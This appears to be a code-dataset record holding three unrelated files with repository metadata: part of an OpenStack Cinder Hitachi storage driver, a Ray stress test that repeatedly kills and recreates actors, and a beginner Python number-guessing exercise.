targets['info'].keys(): if targets['info'][port]: continue try: self._create_target(targets, port, connector, hba_ids) except utils.HBSDError: utils.output_log( self.driver_info['msg_id']['target'], port=port) # When other threads created a host group at same time, need to # re-find targets. if not targets['list']: self.find_targets_from_storage( targets, connector, targets['info'].keys()) def init_cinder_hosts(self, **kwargs): """Initialize server-storage connection.""" targets = kwargs.pop( 'targets', {'info': {}, 'list': [], 'iqns': {}, 'target_map': {}}) connector = volume_utils.brick_get_connector_properties( multipath=self.conf.use_multipath_for_image_xfer, enforce_multipath=self.conf.enforce_multipath_for_image_xfer) target_ports = self.storage_info['controller_ports'] if target_ports: if (self.find_targets_from_storage( targets, connector, target_ports) and self.conf.hitachi_group_create): self.create_mapping_targets(targets, connector) utils.require_target_existed(targets) def do_setup(self, context): """Prepare for the startup of the driver.""" @coordination.synchronized('{self.lock[do_setup]}') def _with_synchronized(self): self.connect_storage() self.init_cinder_hosts() self.ctxt = context self.check_param() if self.need_client_setup(): self.setup_client() self.enter_keep_session() _with_synchronized(self) def check_ports_info(self): """Check if available storage ports exist.""" if (self.conf.hitachi_target_ports and not self.storage_info['controller_ports']): msg = utils.output_log(MSG.RESOURCE_NOT_FOUND, resource="Target ports") raise utils.HBSDError(msg) if (self.conf.hitachi_compute_target_ports and not self.storage_info['compute_ports']): msg = utils.output_log(MSG.RESOURCE_NOT_FOUND, resource="Compute target ports") raise utils.HBSDError(msg) utils.output_log(MSG.SET_CONFIG_VALUE, object='target port list', value=self.storage_info['controller_ports']) utils.output_log(MSG.SET_CONFIG_VALUE, object='compute target port list', value=self.storage_info['compute_ports']) def attach_ldev(self, volume, ldev, connector, targets): """Initialize connection between the server and the volume.""" raise NotImplementedError() def get_properties_fc(self, targets): """Return FC-specific server-LDEV connection info.""" data = {} data['target_wwn'] = [ self.storage_info['wwns'][target[0]] for target in targets['list'] if targets['lun'][target[0]]] return data def get_properties_iscsi(self, targets, multipath): """Return iSCSI-specific server-LDEV connection info.""" data = {} primary_target = targets['list'][0] if not multipath: data['target_portal'] = self.storage_info[ 'portals'][primary_target[0]] data['target_iqn'] = targets['iqns'][primary_target] else: # Set the list of numbers that LUN was added data['target_portals'] = [ self.storage_info['portals'][target[0]] for target in targets['list'] if targets['lun'][target[0]]] data['target_iqns'] = [ targets['iqns'][target] for target in targets['list'] if targets['lun'][target[0]]] if self.conf.use_chap_auth: data['auth_method'] = 'CHAP' data['auth_username'] = self.conf.chap_username data['auth_password'] = self.conf.chap_password return data def get_properties(self, targets, target_lun, connector): """Return server-LDEV connection info.""" multipath = connector.get('multipath', False) if self.storage_info['protocol'] == 'FC': data = self.get_properties_fc(targets) elif self.storage_info['protocol'] == 'iSCSI': data = self.get_properties_iscsi(targets, multipath) data['target_discovered'] = False if not multipath or self.storage_info['protocol'] == 'FC': data['target_lun'] = target_lun else: # Set the list of numbers that LUN was added target_luns = [] for target in targets['list']: if targets['lun'][target[0]]: target_luns.append(target_lun) data['target_luns'] = target_luns return data # A synchronization to prevent conflicts between host group creation # and deletion. @coordination.synchronized('hbsd-host-{self.conf.hitachi_storage_id}-' '{connector[host]}') def initialize_connection(self, volume, connector): """Initialize connection between the server and the volume.""" targets = { 'info': {}, 'list': [], 'lun': {}, 'iqns': {}, 'target_map': {}, } ldev = utils.get_ldev(volume) if ldev is None: msg = utils.output_log(MSG.INVALID_LDEV_FOR_CONNECTION, volume_id=volume['id']) raise utils.HBSDError(msg) target_lun = self.attach_ldev(volume, ldev, connector, targets) return { 'driver_volume_type': self.driver_info['volume_type'], 'data': self.get_properties(targets, target_lun, connector), } def get_target_ports(self, connector): """Return a list of ports corresponding to the specified connector.""" if 'ip' in connector and connector['ip'] == CONF.my_ip: return self.storage_info['controller_ports'] return (self.storage_info['compute_ports'] or self.storage_info['controller_ports']) def get_port_hostgroup_map(self, ldev_id): """Get the mapping of a port and host group.""" raise NotImplementedError() def set_terminate_target(self, fake_connector, port_hostgroup_map): """Set necessary information in connector in terminate.""" raise NotImplementedError() def detach_ldev(self, volume, ldev, connector): """Terminate connection between the server and the volume.""" raise NotImplementedError() def terminate_connection(self, volume, connector): """Terminate connection between the server and the volume.""" ldev = utils.get_ldev(volume) if ldev is None: utils.output_log(MSG.INVALID_LDEV_FOR_UNMAPPING, volume_id=volume['id']) return # If a fake connector is generated by nova when the host # is down, then the connector will not have a host property, # In this case construct the lock without the host property # so that all the fake connectors to an SVC are serialized if 'host' not in connector: port_hostgroup_map = self.get_port_hostgroup_map(ldev) if not port_hostgroup_map: utils.output_log(MSG.NO_LUN, ldev=ldev) return self.set_terminate_target(connector, port_hostgroup_map) # A synchronization to prevent conflicts between host group creation # and deletion. @coordination.synchronized( 'hbsd-host-%(storage_id)s-%(host)s' % { 'storage_id': self.conf.hitachi_storage_id, 'host': connector.get('host'), } ) def inner(self, volume, connector): deleted_targets = self.detach_ldev(volume, ldev, connector) if self.storage_info['protocol'] == 'FC': target_wwn = [ self.storage_info['wwns'][target] for target in deleted_targets] return {'driver_volume_type': self.driver_info['volume_type'], 'data': {'target_wwn': target_wwn}} return inner(self, volume, connector) def unmanage_snapshot(self, snapshot): """Output error message and raise NotImplementedError.""" utils.output_log( MSG.SNAPSHOT_UNMANAGE_FAILED, snapshot_id=snapshot['id']) raise NotImplementedError() def retype(self): return False def has_snap_pair(self, pvol, svol): """Check if the volume have the pair of the snapshot.""" raise NotImplementedError() def restore_ldev(self, pvol, svol): """Restore a pair of the specified LDEV.""" raise NotImplementedError() def revert_to_snapshot(self, volume, snapshot): """Rollback the specified snapshot.""" pvol = utils.get_ldev(volume) svol = utils.get_ldev(snapshot) if (pvol is not None and svol is not None and self.has_snap_pair(pvol, svol)): self.restore_ldev(pvol, svol) else: raise NotImplementedError()
39.113811
79
0.607088
795960b93129fe4dcb4b3b484e74caa8a56f7ca8
3,105
py
Python
ci/long_running_tests/workloads/actor_deaths.py
timgates42/ray
032e8553c78d9f72db99be6f95621887a4d24d7f
[ "Apache-2.0" ]
2
2019-06-17T12:38:24.000Z
2020-11-11T07:52:26.000Z
ci/long_running_tests/workloads/actor_deaths.py
timgates42/ray
032e8553c78d9f72db99be6f95621887a4d24d7f
[ "Apache-2.0" ]
3
2018-08-15T19:19:25.000Z
2021-06-30T01:54:46.000Z
ci/long_running_tests/workloads/actor_deaths.py
timgates42/ray
032e8553c78d9f72db99be6f95621887a4d24d7f
[ "Apache-2.0" ]
2
2017-10-31T23:20:07.000Z
2019-11-13T20:16:03.000Z
# This workload tests repeatedly killing actors and submitting tasks to them. from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import sys import time import ray from ray.cluster_utils import Cluster num_redis_shards = 1 redis_max_memory = 10**8 object_store_memory = 10**8 num_nodes = 2 message = ("Make sure there is enough memory on this machine to run this " "workload. We divide the system memory by 2 to provide a buffer.") assert (num_nodes * object_store_memory + num_redis_shards * redis_max_memory < ray.utils.get_system_memory() / 2) # Simulate a cluster on one machine. cluster = Cluster() for i in range(num_nodes): cluster.add_node( redis_port=6379 if i == 0 else None, num_redis_shards=num_redis_shards if i == 0 else None, num_cpus=8, num_gpus=0, resources={str(i): 2}, object_store_memory=object_store_memory, redis_max_memory=redis_max_memory) ray.init(address=cluster.address) # Run the workload. num_parents = 5 num_children = 5 death_probability = 0.95 @ray.remote class Child(object): def __init__(self, death_probability): self.death_probability = death_probability def ping(self): # Exit process with some probability. exit_chance = np.random.rand() if exit_chance > self.death_probability: sys.exit(-1) @ray.remote class Parent(object): def __init__(self, num_children, death_probability): self.death_probability = death_probability self.children = [ Child.remote(death_probability) for _ in range(num_children) ] def ping(self, num_pings): children_outputs = [] for _ in range(num_pings): children_outputs += [ child.ping.remote() for child in self.children ] try: ray.get(children_outputs) except Exception: # Replace the children if one of them died. self.__init__(len(self.children), self.death_probability) def kill(self): # Clean up children. ray.get([child.__ray_terminate__.remote() for child in self.children]) parents = [ Parent.remote(num_children, death_probability) for _ in range(num_parents) ] iteration = 0 start_time = time.time() previous_time = start_time while True: ray.get([parent.ping.remote(10) for parent in parents]) # Kill a parent actor with some probability. exit_chance = np.random.rand() if exit_chance > death_probability: parent_index = np.random.randint(len(parents)) parents[parent_index].kill.remote() parents[parent_index] = Parent.remote(num_children, death_probability) new_time = time.time() print("Iteration {}:\n" " - Iteration time: {}.\n" " - Absolute time: {}.\n" " - Total elapsed time: {}.".format( iteration, new_time - previous_time, new_time, new_time - start_time)) previous_time = new_time iteration += 1
28.75
79
0.668599
795960c5d61bc337c34d7db73946ec971cc55b02
881
py
Python
Curso de Python 3 - Mundo 1 - Fundamentos/#058.py
bitwoman/curso-em-video-python
bb097eb925f271c34e97e20902e6b18cca62c275
[ "MIT" ]
null
null
null
Curso de Python 3 - Mundo 1 - Fundamentos/#058.py
bitwoman/curso-em-video-python
bb097eb925f271c34e97e20902e6b18cca62c275
[ "MIT" ]
null
null
null
Curso de Python 3 - Mundo 1 - Fundamentos/#058.py
bitwoman/curso-em-video-python
bb097eb925f271c34e97e20902e6b18cca62c275
[ "MIT" ]
null
null
null
# Exercício Python 058: Melhore o jogo do DESAFIO 028 onde o computador vai "pensar" em um número entre 0 e 10. # Só que agora o jogador vai tentar adivinhar até acertar, mostrando no final quantos palpites foram necessários para vencer. from random import randint from time import sleep attempts = 0 computer = randint(1,10) print("I'm your computer...") sleep(2) print('I thought of a number between 1 and 10.') sleep(2) print('Can you guess what was?') sleep(2) guess = int(input("What's your guess? ")) while guess != computer: attempts += 1 if guess > computer: print('Less...Try again.') guess = int(input("What's your guess? ")) attempts += 1 elif guess < computer: print('More. Try again') guess = int(input("What's your guess? ")) attempts += 1 else: continue print(f'You got it right with {attempts} attempts. Congratulations!')
28.419355
125
0.692395